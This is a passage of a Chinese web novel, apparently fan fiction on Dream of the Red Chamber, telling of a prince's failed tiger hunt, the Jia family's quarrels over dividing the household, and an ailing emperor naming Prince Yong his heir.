徒嘉珩也赶紧跟着点头,戴权见圣上高兴,想着圣上这几日胃口不开,都没怎么吃饭,忙叫下面小徒弟去提膳,多提一些,说不得圣上看着孙儿胃口好,也能跟着多吃一点呢! 圣驾出行,哪怕不会将整个御膳房一块带过去,那也得带不少厨子帮厨,膳房那边随时准备着给圣上服务。宁可准备好了没人吃,也不能圣上要的时候没有。 因此,不多久,刚刚去提膳的太监就带着人提着好几个食盒过来了。 圣上如今年纪大了,口味也比以前重,御医要他饮食清淡,但是清淡的他又觉得没滋没味的,御膳房那边也是费尽了心思,多用高汤,好在不加入太多调味料的情况下将食物做得醇厚有味。 平王府里的厨子做的多半都是后世的各种家常菜式,顾晓上辈子就是个普通市民,那等高档餐厅肯定是去不起的,因此,对于各种高档菜式的了解,一般就是来源于各种美食节目还有美食小说,但这年头又不像是后世,你想要吃地球另一头的食材,只要肯花钱就行!神京处在中原内陆地带,海鲜只能吃干货,许多就是吃个新鲜的食材送过来也已经不新鲜了。如此,顾晓所知道的许多食谱,压根用不上! 而跟平王府比起来,圣上就豪横得多,他只要想吃,天南地北的好东西,只要能运过来的,总不会少了他一份。顾晓吃不上的冰鲜海鲜,对于圣上来说,无非也就是跑死几匹快马的事情。 半大的孩子,肚子就是个无底洞,徒嘉珩和徒嘉钰两人吃得都挺香,叫一边圣上看着也开了胃口,破天荒就着几样菜吃完一碗碧粳米饭,然后就觉得有些撑到了。 “行了,你们两个混小子,下去玩去吧!这会儿也不早了,别往围场去了,免得来不及回来!”圣上想要散个步消消食,又不想叫两个孩子跟着,因此一挥手,就将两个孙子打发走了。 戴权一身荣华都寄托在圣上身上,如今瞧着圣上吃得香,不免高兴,忙说道“皇爷以后倒是可以召见几位小爷过来陪膳,如此也吃得香!” 圣上摆了摆手,轻哼了一声,说道“召谁?朕随便一个动作,下头不知道要有多少猜测,没得生出事端来!” 戴权不免默然,只得叹道“皇爷思虑周全,却是没得委屈了自己!” 圣上笑骂道“你个老狗,还委屈不委屈的!你信不信,多的是人要替朕受这个委屈呢!”说到这里,他嘴角露出一点讥讽的神色来。 略走了一会儿之后,圣上觉得舒服了一些,正想要小憩片刻,忽地听到一阵兵荒马乱的声音,不由挑了挑眉“去找个人问问,出什么事了?” 戴权连忙叫了人过去打探,结果人还没去,就有人回来禀报“圣上,围场有猛虎作乱,纯王爷遇袭受伤!” 圣上不免皱起了眉头,呵斥道“受伤?受了什么伤,可严重,人可带回来了?” 那人跪在地上,忍不住哆嗦了一下“纯王爷被猛虎正面扑中,内腑受创,此时正昏迷不醒!” 圣上直接破口大骂“跟着的人呢?几十个人一块出去,竟是直接叫堂 堂亲王受了伤,一个个都是酒囊饭袋!纯王要是有什么三长两短,朕要将他们满门抄斩!” 那人又哆嗦了一下,苦着脸说道“纯王爷身边的侍卫几乎全部殉职……” 圣上这会儿冷静下来,竟是笑了起来“殉职?这要不是说遇上了一头猛虎,朕还当遇上了一群老虎呢!” “戴权,传御医,先去查问纯王的伤势,再命人去查探,围场上到底出了什么事!”圣上其实知道,徒宏憬一心想要猎杀一头猛兽,好显露自己的勇猛,他也默许了。围场上造假的事情很常见,毕竟,这年头便是勋贵子弟,能弓马娴熟的也是少数,天下承平太久了,既然没法在战场上获取军功,谁还愿意冬练三九夏练三伏呢! 只是,按理来说,这种作秀式的捕杀根本不该出什么差错,怎么就落得个全军覆没的下场。圣上难免生出一些阴谋论来“再叫围场管事过来,问问他,这猛虎又是从什么地方冒出来的!” 戴权知道这是出大事了,忙命人往各处去打探传话,不多久,徒宏憬的贴身太监刘志和围场管事韩宗就被提溜过来了。 刘志一直跟在徒宏憬身边,猛虎扑过来的时候,一尾巴扫到了他身上,他直接断了一条胳膊还有几根肋骨,但是他这会儿宁愿被扑倒的是自己。作为贴身太监,连主子都保护不好,那就是死罪。他脸上半点血色都没有,胳膊耷拉的,身上还带着血迹和尘土,被拖到圣上面前的时候,整个人简直如同烂泥一般。 戴权开口问话,刘志半天都说不出话来,戴权冷笑一声“小刘子,你现在不说,那到了慎刑司,再想说,可就晚了!” 刘志脑子里原本一片空白,这会儿听得戴权这般说,自以为还有生路,眼珠子活动了一下,终于回过神来,嘶哑着声音,哭道“戴总管,奴婢冤枉啊!奴婢一直随在王爷左右,原本都好好的,谁能想得到,那么多人都奈何不了一头老虎呢!奴婢都已经用了响箭,附近的队伍已经赶了过来,结果那老虎居然突破了军阵,奴婢想要阻拦,却被那畜生一尾巴给扫了出去,等奴婢回过神来,老虎就把王爷扑倒了……” “将怎么遇到老虎的,之后又是什么情况,仔仔细细说来!”戴权窥探了一下圣上的脸色,呵斥道。 刘志喘了几口气,略微平定了一下思绪,将围场上发生的事情一一说了,总之就是那些侍卫不管用,明明说他们结阵,借助奔马之力,用骑枪就能将老虎刺穿,哪知道真遇上了老虎,却是乱成一团,以至于被各个击破。 一边韩宗已经吓尿了,这老虎是他听了徒宏憬的吩咐,叫人放到围场上去的,徒宏憬想要展露一下自己的能耐,还特别嘱咐,要雄壮一些的老虎,而不是那种一看就被饿得瘦骨嶙峋的。因此,他们便精挑细选了一头辽东那边抓捕到的老虎,这老虎其实原本送过来的时候还是个虎崽子,被围场的人用活鸡活兔之类的喂大的,以前并未显露什么凶性,大家都觉得是万无一失,谁能想得到,就这么一只老虎,居然将徒宏憬一行团灭了呢? 圣上听着刘志有些前言不搭后语地言语,心里也差不多搞明白了,徒宏憬早就知道围场里面有老虎,或者说这事就是他事先安排的,还跟一帮侍卫搞了战术模拟,结果这些人其实没真的见识过老虎的本事,也没做过什么模拟,以至于事到临头才发现,之前的战术完全是纸上谈兵,老虎叫了一声,就把那些骏马的胆子给吓破了,一步错步步错,之后根本没能组织好反击,以至于变成了后来的样子。 圣上直接看 向了韩宗,问道“说吧,那老虎怎么回事!(笔趣阁&.” 韩宗大冬天的,浑身都是冷汗,这会儿只觉心口背心都是冰凉的,他强撑着将事情说了,说前几日纯王府就有人过来传信,吩咐他准备个大家伙,好叫纯王爷能在圣上面前露脸。原本他想的是搞两头野猪也就行了,但是纯王府的人说不行,毕竟野猪这玩意一点都不震撼,要就要猛兽。这大冬天的,能在野外出没得猛兽就那几种,豹子什么的体型毕竟小,而且跑得也快,又特别会藏,别到时候根本找不到,因此商议一番,才决定了选老虎。 韩宗也在喊冤,那老虎被圈养的时候,那真的是头听话的大猫,负责饲养的仆役有的时候还敢摸一摸老虎的头,也从来没见那老虎表露什么凶性,谁能想得到,那老虎饿了七八天,被放出去之后,竟是如同换了一头虎一样,一下子就变成了丛林杀手了呢? 圣上听得冷笑,这种事情,有什么想不到的,以前那老虎不用捕猎,随随便便就能填饱肚子,自然不会没事发疯,结果你们莫名其妙饿了它七八天,这七八天里头,还不知道积蓄了多少愤恨怨气呢,然后把它往围场里面一放,这虎入山林,还有安分消停的道理!只怕它那时候已经将人类看做了饿它肚子的罪魁祸首,偏偏它遇上的人还是一心冲着猎杀它去的!兔子急了还咬人呢,何况是一头猛虎!它之前不咬人无非是没必要,如今为了填饱肚子,为了保护自己,它能老老实实地等着被杀? 虽说一切的根源其实是徒宏憬太贪心,但是,这会儿大家只会归罪于徒宏憬的侍卫护卫不周,还有围场的管事办事不利,甚至有谋害亲王的嫌疑。 圣上直接吩咐道“将韩宗还有围场一干人等直接拿下,待得纯王那边有了消息,再行处置!” 韩宗在那边一个劲地磕头喊冤,结果直接被一个麻核塞进嘴里拖了下去!而刘志也没捞着什么好,直接就被慎刑司带走了。 不多久,御医的诊断也送过来了。 徒宏憬并没有什么大碍,大冬天的,他身上穿得比较厚,只是内腑受了震荡,所谓的吐血是他紧张之下咬破了舌头,之后纯粹是被吓晕了! “既是如此,也算那些护卫将功折罪,便不予以追究了!”圣上听得来禀报的人说发现那猛虎扑向徒宏憬,那些侍卫舍生忘死,硬是拖住了那老虎,转移了老虎的注意力,才算是将徒宏憬救了下来,他沉默片刻,又吩咐道,“等纯王醒了,叫他给各家赏赐一些烧埋银子吧,毕竟也都是为了他死的!” 戴权低眉顺眼地答应了下来,心里松了口气的同时,又开始琢磨,这次纯王丢了大脸,那今儿个这围猎的事情,又该如何收场呢? 圣上也在思索,只觉身心俱疲,他这次出来,的确是想要再给徒宏憬加点码,拿这个为饵,叫甄家在江南再卖力一些,哪知道发生了这样的事情!正琢磨着围猎要不要继续,就听到外头传来了哭喊声“皇爷,皇爷,你要为我们皇儿做主啊!” 作者有话要说 第 153 章 咱们两房,分家! 甄贵妃就这么一个儿子,如今听得徒宏憬出了事,顿时什么也不想了,她一门心思觉得是有人要害自己儿子,甚至联想到了瑜妃母子身上,但事实上,圣上已经叫人将那头最终还是被围攻而死的老虎都检查了一遍,并没有发现有人做任何手脚。完全是徒宏憬自个作死,高看了自己,小瞧了老虎。 对上这会儿哭得一把鼻涕一把眼泪,浑然没有半点美感的甄贵妃,圣上半点爱怜之心都生不起来,只是皱眉说道“你怎么知道的!” 甄贵妃还没意识到事情的严重性,哭道“皇儿都伤成那样了,我这个做娘的,怎么可能不知道!” 圣上只是看了一眼戴权,戴权当即微微点头,表示自己一会儿就把那个吃里扒外的人揪出来,圣上这才转头看向了甄贵妃,说道“他没什么大碍,你要是不放心,就过去看看他吧!” 甄贵妃没意识到圣上的不耐,还在那里不依不饶“可是,皇爷,皇儿肯定是被人害的,您得为他做主啊!” 圣上终于不想忍了,直接说道“他是自己害的,怪什么别人,不先看看自己有几斤几两,根本就是自作自受!” 圣上的脾气一下子发作,甄贵妃被唬了一跳,想要再争辩几句,却发现圣上脸色铁青,顿时不敢吭声了。一边跟着过来的宫女忙扶着她出了门,又冒着被教训的危险提醒甄贵妃“娘娘,您还是先梳洗一下吧!” 甄贵妃还没反应过来,宫女已经掏出了靶镜。 甄贵妃看到镜子里面的自己,差点没尖叫起来。她原本还想着圣上是跟徒宏憬生气了,如今一看,是自己君前失仪!不免骂道“贱婢,你怎么不早提醒本宫!” 宫女被骂得人一缩,利索地跪倒在地上请罪。 甄贵妃骂道“还杵在那里做什么,还不带本宫找个地方梳洗?” 外头这番动静很快就传到了里面,圣上听到之后,面色不变,只是说道“戴权,去把行宫主管换了吧!” 戴权赶紧答应了下来,心里为那个行宫主管默哀,好不容易盼到皇爷过来,如今马屁拍到马腿上了吧!不在圣上那里伺候,如今竟是连谁是真正的主子都忘了!今儿个别说是行宫主管了,只怕行宫里头原本伺候的那些宫人都得来一次大换血。 那边徒宏憬也醒了,整个人歇斯底里,他不是蠢材,这会儿知道,自己将事情玩砸了!他第一反应就是推卸责任,觉得自己没错,都是下头那些侍卫不中用,他不知道自己晕过去之后,那些侍卫几乎全军覆没,在那里喊着要治那些侍卫的罪! 周围伺候的人都有些心寒,尤其有的人是见到过当时的情况的,可以说,要不是那些侍卫以命相搏,徒宏憬这会儿还能不能在这里叫嚣还是个问题呢! 刘志被慎刑司抓走了,徒宏憬身边伺候的另一个太监陈松胆战心惊地提醒道“王爷,皇爷那边之前说了,这些侍卫尽忠职守,要王爷赐下烧埋银子呢!” “他们将本王害成这个样子,本王还要赏烧埋银子?”徒宏憬差点又要气出血来,不过既然是圣上的吩咐,他只得忍了下来,神情阴晴不定,咬牙说道“既是如此,此事你去安排吧!” 陈松赶紧答应了下来,又听徒宏憬阴声问道“今儿的事情,外头怎么说的?” 外头还能怎么说,出去围猎的队伍这会儿陆陆续续回来了,徒宏憬闹出来的这场笑话已经人尽皆知,大家虽说不敢明目张胆地公开讨论,私底下的窃窃私语却是少不了的。 这完全 是装x不成成傻x的典型案例,之前他有多风光,如今就有多叫人笑话! 雍王也疑心徒宏憬是被人坑了,但是既然没有发现,那只能当这事是个意外,他心里其实有些暗喜,闹出这么大笑话来,怎么着都得有个一年半载的,才会淡去!起码在这期间,自家那位爱面子的父皇是不会考虑立太子的事情了! 雍王尽了一下自己作为长兄的责任,跑去探望了徒宏憬一次,最后连门都没进,只听陈松出来说徒宏憬还在昏迷,不能见客。雍王对这个弟弟本来也没多少兄弟感情,既然说没醒,他直接将带来的补品留了下来,自个走了! “他就是想要来看我笑话!”送走了雍王,陈松才提着补品回了帐篷里头,才一开口,就听徒宏憬咬牙道,“这什么东西,给我丢了!” 陈松在徒宏憬身边本来就不如刘志得脸,这会儿也不知道该怎么劝徒宏憬,但也没敢遵照徒宏憬的意思将东西扔掉,而是小心翼翼收了起来,又记了一笔。这也算是人情往来,以后还得还回去的! 雍王都吃了顿闭门羹,其他想要去探望的人就更别提了。 作为岳父,牛继宗原本想要去探望一下,但是在知道自家府上借给徒宏憬的那些亲兵居然都死了之后,牛继宗不免就有些拿不定主意了。 牛继宗年纪比贾赦还要大一些,经历的事情多了,看人也有一套。他之所以在徒宏憬身上下注,无非就是觉得圣上年纪大了,下面的儿子没什么成器的,徒宏憬算是矮子里面拔高个,甄家把着朝廷的钱袋子,徒宏憬上位之后,也能保证朝堂安稳。 但是等到与徒宏憬接触多了之后,就发现这位其实心性凉薄,他未必会念着自家那些亲兵救了自己的命,只会觉得他们无能,害自己丢了大脸,还受了伤! 牛继宗想到这里,差点忍不住扇自己一巴掌,自己怎么就利令智昏了呢!这下好了,那些亲兵算是白死了,自家回头还得赔上一笔钱,在徒宏憬那里也落不得什么好,这位只怕还要恨上自己这个岳父! 牛继宗这会儿已经不指望徒宏憬能当太子了,他只求这事就这么过去,不要牵扯到自家头上来为好! 同样心生懊恼的还有之前好几家明确投靠了徒宏憬的人,这会儿都在商议,要不要先跳船! 圣上却是一副无事发生的模样,等着围猎的队伍都回来了,直接装模作样地叫人评比了一番,选出了收获最多的队伍,还真将那块九龙佩给赏赐下去了! 得到赏赐的是理国公府的世子,他也没想过要徒宏憬的强,但是他们一行人运气好,直接撞上了一群马鹿,这哪里还有轻松放过的道理,将那群马鹿拿下之后,他们怕自家得了第一,还先回来了,哪知道居然还能遇上这样的事情呢? 如今得了赏赐,面上骄傲,心里却是七上八下,生怕因为这事被徒宏憬恨上,好好的彩头都不敢拿出来,看到别人来道贺,都以为人家是要害自己,别提有多别扭了! 圣上如今就是明摆着摆出一副自欺欺人的模样,他直接当徒宏憬这事没发生过,依旧按照计划,继续留在围场进行冬狩。徒宏憬当晚就被低调地送回了纯王府,连着甄贵妃也一起回了宫。 但是下头知道这件事的人却很少,很多人还以为徒宏憬被送到行宫养伤了呢! 冬狩持续了五天,圣上第二天还亲自下场,据说还亲自射杀了一头麋鹿,堪称是宝刀未老!之后龙禁卫,羽林卫等京中禁卫也各自下场,都收获颇丰,算是达到了炫耀武力的目的,可以收工回家了! 徒嘉钰这会儿已经是归心似箭!他觉得自己这次回去[(., 可以理直气壮地跟徒嘉泽说,打猎一点都不好玩! 野餐很有意思,但是打猎什么的,真没什么意思!尤其还得天天出去,徒嘉钰大腿上的皮都磨破了,他什么时候吃过这样的苦头!帐篷也不如自家住着舒服,天冷了,晚上躺在那里,都能听到北风呼啸的声音,还有狼嚎声!除了头一天实在是太累,他睡得还算是不错之外,之后几天,他就没睡好过! 他也很庆幸,自家带了许多食材过来,连着火腿腊肉什么的都带了一批,要不然,这几天更受罪!这大冬天的,便是母鸡都不会抱窝,因此,猎到的多半都是成兽!而野味这种东西,吃个新鲜可以,但真要是做成菜,真不如大家巡洋了几千年的家禽家畜好吃。 徒嘉钰这几日,压根就没理会外头关于徒宏憬的各种闲言碎语,就一门心思盼着围猎早点结束,好赶紧回家! 他当然不会关注徒宏憬的事情,这个王叔速来眼高于顶,对他们这些侄子都是一副高高在上的模样,他倒霉了,徒嘉钰能不出口嘲讽已经算是不错。另外就是,雍王私底下叮嘱了徒嘉珩和他一番,叫他们不要去管外头那些话,自个该如何便如何。徒嘉钰牢记顾晓之前的吩咐,出来尽管听雍王的话就是,既然雍王不让他们打探谈论,那么就当没这事呗! 实际上,围场发生的事情已经传到京中,忧心忡忡者有之,幸灾乐祸者也有之。徒宏憬是悄悄回来的,他自个也嫌丢人,明明已经好起来了,也丝毫没有露面的意思,以至于许多人压根不知道他已经回来了,私底下难免嘲弄一二。 如此,倒霉的便成了进门没多久的纯王妃,徒宏憬觉得老丈人不厚道,说是给的都是军中出来的,但一个个简直就是废物点心,别说是杀死一头老虎了,连他都没保护好!他甚至怀疑老丈人其实是投靠了别人,故意坑自己,因此对纯王妃颇为迁怒,人家也是个在家娇生惯养的小姑娘,嫁进来才过了几天好日子,就开始面临丈夫的冷暴力,只觉气苦。 徒宏憬与徒宏轩当初开府的时候因为没有太多合适的地方,两家没办法还是做了邻居,徒宏轩是知道徒宏憬回来的事情的,这些日子一直在关注隔壁的情况,在听说隔壁两口子闹翻之后,那叫一个高兴,他不好上门去幸灾乐祸,就在后花园搭了个戏台子,每日里跟自个王妃一起看戏,今儿看《邯郸记》,明儿就看《南柯记》,后儿就唱《失街亭》,他把戏台子就搭在两家隔墙那边,那里距离徒宏憬所住的前院和纯王妃所住的正院都不算远,只要有心,都能听得清楚。 徒宏憬自然是听见了,只气得要吐血,这分明就是徒宏轩借着戏曲嘲笑他,自作聪明,机关算尽,最终只是黄粱一梦! 而纯王妃也听在耳中,愈发伤感,原以为嫁得良人,日后说不定能母仪天下,结果就是个只想占便宜,还只会推卸责任的货色。如今看起来,自个娘家的打算不光是落了空,还莫名奇妙得罪了这个女婿,她也觉之前几个月的生活如同幻梦一场,一时间竟是有点看破红尘的意思。 好在这事圣上是打算淡化处理的,大家心里都还有点盼头,因此,便是有人想要落井下石,也得耐心等待时机再说。 圣驾回銮,徒宏憬依旧没有露面,连着户部那边的差事,他都直接告了病假,圣上对此也不置可否,还赐下了一些补药。甄贵妃听说儿子跟儿媳妇闹不和,难免有些担心,她再心疼儿子,也得考虑,儿子要是得罪了镇国公府,那就在勋贵那边失了人心,不 得不帮着找补回来,先是替徒宏憬赏赐了那些侍卫的家属遗孀,又连续几日,给儿媳妇赏赐了衣料首饰,连着镇国公府那边,也得了不少好东西,算是暂时将镇国公府那边安抚了下来。 甄家那边也没脱后腿,下半年的盐税还是超常征收上来了,他们如今也明白,自家如今这个情况,最重要的是抱好圣上的大腿,将徒宏憬拱上皇位,要不然,不管下一任皇帝是谁,甄家都没好果子吃! 圣上如今懒得见徒宏憬,毕竟看到这个儿子就想到他做出来的蠢事,觉得烂泥糊不上墙,但是甄家这般勤劳王事,圣上也得酬功,因此,先是借着过年的机会,又赏了奉圣夫人一个牌匾,上书“恭勤敬慎( 须知按照礼制,唯有亲王郡王才有金印,国公以下不过是铜印罢了。奉圣夫人一个乳母,何德何能,能得到一枚金印呢?

第 154 章 宜立为皇太子,正... 贾敏生了,生了个女儿! 贾史氏立马来了精神,趁机转移话题,招呼着叫人去给扬州那边送礼。贾赦这边才想要重提分家的事情,就被贾史氏打断了“你妹妹嫁过去这么多年,好容易才有了好消息,虽说是个姑娘,但是先开花后结果,那也是个好兆头!你倒好,不关心你妹妹,反倒是逼起你母亲来!” 贾赦本不是什么口齿灵便的人,被贾史氏这么一说,原本一肚子气也泄了,不免有些无奈,只得说道“老太太,您说什么就什么吧!等着元春真有了什么富贵,咱们家就分家,我这个做伯父的是个胆小鬼,不想做什么皇亲国戚!” 贾赦气哼哼回去了,找了张氏给贾敏林如海两口子挑选贺礼!张氏琢磨了一番,给那个才出生的外甥女准备了一套赤金的手镯脚镯,还有项圈金锁,叹道“可惜妹妹如今远在扬州,要不然的话,非得去探望一下不可!” 贾赦想了想,说道“妹夫在扬州知府任上也待了好几年了,不知道之后是个什么打算!若是能回京,还是做京官更好一些!” 张氏点了点头“谁说不是呢!要不老爷你写封信,问问妹夫是个什么意思!” 贾赦点了点头,又说起元春的事情,抱怨道“他们倒是瞒得紧,要不是外头都听说了,咱们还不知道呢!” 张氏也是头一次听说,她虽说在荣庆堂有几个眼线,可也不是贾史氏近身伺候的人,普通的事情也就罢了,这等要紧的事情,只怕只有贾史氏的心腹才知道。若是元春真能进纯王府,在下头下人眼里那就是皇家人了,二房以后就是皇亲国戚,哪里肯将这事告诉大方,坏了这好事! 张氏皱眉说道“之前的事情,老爷也是知道的,便是以前有五分的可能,如今能有三分就不错了!怎地老太太他们还一门心思想着这事呢!” 贾赦冷笑道“无非就是油蒙了心了,真当元春是什么好造化呢!这大年初一生的人多了去了,一个个都是好造化,有那许多造化给他们呢!横竖觉得顶多就是赔进去一个元春,要是成了,一家子鸡犬升天!也不想想看,人家能平白给你一个王妃的位置?失心疯了不成?别跟镇国公府似的,便宜没占到,倒惹了一身腥!如今家里头还闹腾着呢!” 张氏听得无奈“老爷说的正是这个道理,只是老太太他们不听,又有什么办法!” 夫妻两个对坐叹了一回,贾赦发狠“非得找个由头赶紧分了家才好,要不然,就老二一家子蠢货,非牵连到咱们家头上不可!” …… 内务府其实去年就已经在京畿之地采选宫女,今年登记了参选女官各家的名号,及到四月里头,才叫这些小选秀女进宫参选。因着只是挑选女官,只要礼数不荒疏,容貌上没有大的瑕疵,多半都留了下来,先在宫中学规矩,才分派到各处去。因此上,进宫之后,连家都不得回一次,就在宫里住下了。 贾元春自然被选中,开头就是个女史,贾家又托了内务府的人,暗中操作了一番,将元春原本身边伺候的大丫头抱琴也送了进去,分派到了元春身边,也叫元春有个臂膀。 元春顺利入选,二房都是欢天喜地,就等着甄贵妃那里有好消息传来。又赶上贾宝玉周岁,贾家这边便大摆筵席,请了诸多亲友上门。 虽说过去了一年,但是贾宝玉衔玉而诞的事情依旧沸沸扬扬,大家对那块玉都很感兴趣,也想看看贾宝玉若是真有来历,又是个什么来历,因此,等到了那一日,贾家那叫一个高朋满座。 结果,叫大家能津津乐道好几年的意外发生了,贾宝玉抓周别的没抓,就抓了一盒胭脂,只将贾政气得要死,直接当着一众宾客的面骂道“将来不过酒色之徒罢了!” 1微云烟波提醒您《红楼太妃要躺平》第一时间在[笔趣阁,记住[(. 这是原本根本不应该发生的意外,因为抓周这种事情,为的是讨个好彩头,所以啐盘上放什么东西,那都是有讲究的。胭脂这种东西,会出现在女孩子抓周的啐盘上,绝不会出现在男孩子面前。 尤其,对于小孩子来说,胭脂颜色鲜艳,又天然带着甜香,不感兴趣才怪!所以,抓到胭脂这种事,真的怪不得贾宝玉。很多人家对此也不是很当一回事,无非就是个笑谈罢了!日后若是真的如此,那大家可以说一声,果然如此,当年他抓周就抓了一盒胭脂呢!若是日后贾宝玉比较出息,那么大家也可以说,抓周这种事情,本来就是玩笑罢了!哪有当真的道理,xxx抓周抓了什么什么,如今不照样功成名就什么的。 反正贾史氏和王氏明面上都没当回事,就在暗地里头排查了一下,到底是什么人将胭脂盒子放到了啐盘上,最终却什么都没查出来,只疑心是大房捣鬼,也就罢了! 也有人暗中猜测,这贾宝玉若真是神仙下凡,那抓了个胭脂盒,估摸着这下凡是想要渡情劫的。 他们倒是猜得挺准,只是没几个月,就没人再谈论贾宝玉抓周之事了! 端午节的时候,圣上又病了一场,一直到半个月后,才再次出现在人前,整个人看起来却是短了一些精神,这也让许多人不免有些忧心起来,圣上这个样子,像是寿数不长,偏生至今没有明确储君的人选,若是圣上一病去了,没个遗诏,到时候少不得又要生出几分乱子来。 因此,便有几个老臣在朝堂上重提了立储之事。 圣上因着生病的缘故,心里头正不自在,如今见得下面臣子又说起立太子之事,一面想到义忠亲王曾经的贤孝之处,一面又觉得自己还没死呢,这些臣子就想着给新主子邀功,不免又是一番大怒,直接将那几个老臣在朝堂上骂了一顿,只骂得他们面如土色,几乎晕厥过去,这才作罢! 只是,人终究要服老,做皇帝的人,真正能长寿的其实不多,尤其圣上算是比较勤政的,在酒色上头又没个忌惮,前些年就有些不好,御医说了,保养个几个月,及到觉得好了,又故态复萌。如此这般,身上的病根哪里能去得。 等着天气愈发热了,圣上又觉得宫里头闷热不堪,要去行宫避暑。 结果还没准备出发,这一日南边来了消息,说是有白莲教聚众造反,已经席卷了好几个县,将漕运都断了! 圣上闻听消息,当即大怒,叫了内阁诸人过来,又是一通大骂,骂了半晌,一句话还没说完,忽地脸色酱红,往后一倒,不省人事,只唬得戴权赶紧扶住,又忙不迭去喊御医。 御医过来一看,就知道是老毛病,这会儿原本就天气闷热,再加上怒急攻心,这才又犯了卒中之症。 圣上这不是头一次生病了,如今再犯,更是难以挽回,几个御医费了九牛二虎之力,总算是醒了过来,只是半边身体已经麻木,不能动弹,面上也是口歪眼斜,说话含糊不清。 内阁众臣这会儿也还没走,都在外头值房等消息,等着戴权出来,忙问道“戴公公,可知圣上如何了?” 戴权苦着脸,叹道“皇爷叫几位阁老进去!” 几个阁臣面面相觑一番,心里也有些惴惴,毕竟,圣上在他们面前倒下了,万一真有个什么不好,他们说不得就 是黄泥巴掉进□□里, 不是屎也是屎了!大家一说圣上为什么驾崩了啊,就是那几位阁老,故意气圣上来着,活生生把人给气死了! 这些人做到这个位置,都很是爱惜羽毛,谁想落得个气死皇帝的罪名呢!便是没有,起码无能是被扣他们头上了! 圣上这会儿虽说身体不能动,脑子却还算清醒,御医也说了,他这个情况,想要好起来,不是一天两天能成的,没个一年半载,只怕想要自由活动都不行!但是,这国事能拖到一年半载之后吗? 尤其如今还有白莲教造反之事,虽说不知道究竟如何,但圣上直觉跟江南那帮士绅脱不了干系。 想要将此事平定下来,自然少不得有个老成持重的人主持,而很显然,徒宏憬不行!他性子浅薄,连岳家都跟他生疏了,他是使唤不动那些勋贵的。 另外就是,御医又没说他治不好,真要是皇位交给了徒宏憬,他有甄家帮忙,自身背后也有许多人摇旗呐喊,等他好了之后,哪有他什么事!想到李渊和李隆基这两个太上皇最后的光景,心里便生出畏惧来。徒宏憬可不像是有多少孝心的,天性凉薄,到时候只怕唯恐他不死,他自然不能将自己的性命交托到徒宏憬手上。 这般一想,圣上寻思了一番之后,悲哀地发现,如今能选的,竟然只有一个老四。 雍王母族不显,妻族之前获罪被流放了,身后没什么根基,想要坐稳这个位置,就得立足一个“孝”字,之后等他好了,也拿捏得住这个儿子。 因此,等着阁臣们进来,圣上便想要开口,只是他这会儿说话含糊,根本听不清楚,戴权在一边也看着着急,连忙说道“皇爷,您现在不方便,不如叫老奴猜猜您的心思,老奴猜对了,您就抬抬手,老奴猜错了,您就不要动,成吗?” 圣上这会儿连脑袋都不怎么听脑子使唤,也就是右手还能动弹,听到戴权这般说,嘴里嗯了两声。 戴权松了口气,便问道“皇爷,您是想要召几位王爷进宫吗?” 圣上勉强抬了抬手,一边阁臣也看到了,琢磨着圣上总算是服老,愿意立储了,都松了口气。 然后就听戴权问道“皇爷除了几位皇子亲王,还要召见宗室几位王爷吗?” 圣上又抬了抬手,戴权立马吩咐下头那些小太监往各处去传话。 不多久,京中的亲王郡王便都进了宫,几乎将寝殿都塞得满满当当,几个皇子想要冲上去表一表孝心,结果被戴权拦住了,一个个老老实实跪了一地。 见得人齐了,刚刚被施了一轮针,这会儿又清醒了一些的圣上嘴里含糊不清地叫了两声,戴权连忙凑了过去,问道“皇爷,诸位王爷已经到了!您是想要趁机立储吗?” 圣上便又抬了抬手,戴权松了口气,便问道“皇爷准备立谁,您比划一下,或是老奴扶您起来,您指一下?” 圣上这会儿哪里还看得清楚,也不想折腾,干脆抬起右手,伸出了四个手指头。 戴权也是吃了一惊,心里暗自叫苦,他跟这位王爷可没什么交情,不过好在也没得罪过,因此,便带着一点疑惑问道“皇爷,您这是要立四皇子雍王殿下为储吗?” 这话一出,下头低着头的众人都抬起头来,徒宏憬差点没跳起来,口中已经骂出来“戴权,你个老狗,趁着父皇说不出话,胆敢假传圣意?” 戴权苦笑一声,忙说道“纯王殿下,老奴就是个无根之人,从来皇爷怎么说,老奴怎么做,皇爷伸出四个手指头, 难道还能是十四吗?” 徒宏憬膝行到圣上榻前,叫道“父皇,您不是说了要立我的吗?” 圣上这会儿也气坏了,他努力平复了一下呼吸,坚定地继续伸出四个手指头,还摇了摇,一边阁臣还有宗室王爷们,都看了个清清楚楚。 戴权见徒宏憬还是不服气,只得对雍王说道“王爷,您也近前来,叫皇爷看一看!” 雍王这会儿只觉一个天大的馅饼掉在了自己头上,心里头那孝心恨不得溢出来叫圣上看看,连忙连滚带爬跪到圣上榻前,带着点哭腔说道“父皇,您好好休养,天大的事情,总得等到您好了再说!” 这话说得漂亮,跟徒宏憬一比,更是天上地下,顿时,连下头人都觉得圣上选雍王没问题了!这纯王浑然是个没心肝的啊,自家父皇都成这个样子了,居然还想着别的事情,差一点就要逼迫圣上改主意了,这种人怎么能当储君呢? 圣上听着四儿子这般暖心的话,也是觉得自己做出了一个正确的选择,他勉强转了转头,看向了雍王,手也吃力地指了指雍王,对着戴权嗯嗯了两声。 戴权这会儿腰都已经弯到膝盖底下去了,嘴里说道“皇爷,确定是立雍王殿下为储!可要诸位阁老拟诏?” 圣上又抬了抬手,几个阁臣听了,正想要拟诏,一边徒宏憬不干了,直接跳了起来,叫道“你们这些混账,父皇是病糊涂了,被你们给骗了!不许拟诏!” 圣上气得浑身哆嗦,嘴里竟是冒出一个叫人听得分明的“滚”字!徒宏憬没听清楚,但是其他人听见了,戴权皮笑肉不笑地说道“纯王爷您才是糊涂了,皇爷病着,您不好好尽孝,反而咆哮御前?您若是气不顺,不如先去偏殿喝口水,顺顺气!” 徒宏憬又想要骂,戴权一个眼神,已经有两个膀大腰圆的太监进来,将徒宏憬给硬生生拖走了,徒宏憬想要说话,直接被捂住了嘴,硬是一句话都说不出来。 徒宏憬走了,圣上似乎心平气和了一些,又指了指雍王,雍王忙又往前几步,握住了圣上的手,含泪问道“父皇,您放心休养,儿子什么都不懂,都得父皇来拿主意呢!” 听到雍王这般言语,圣上还是比较放心的,选这个儿子,不就是还想要自己拿主意吗? 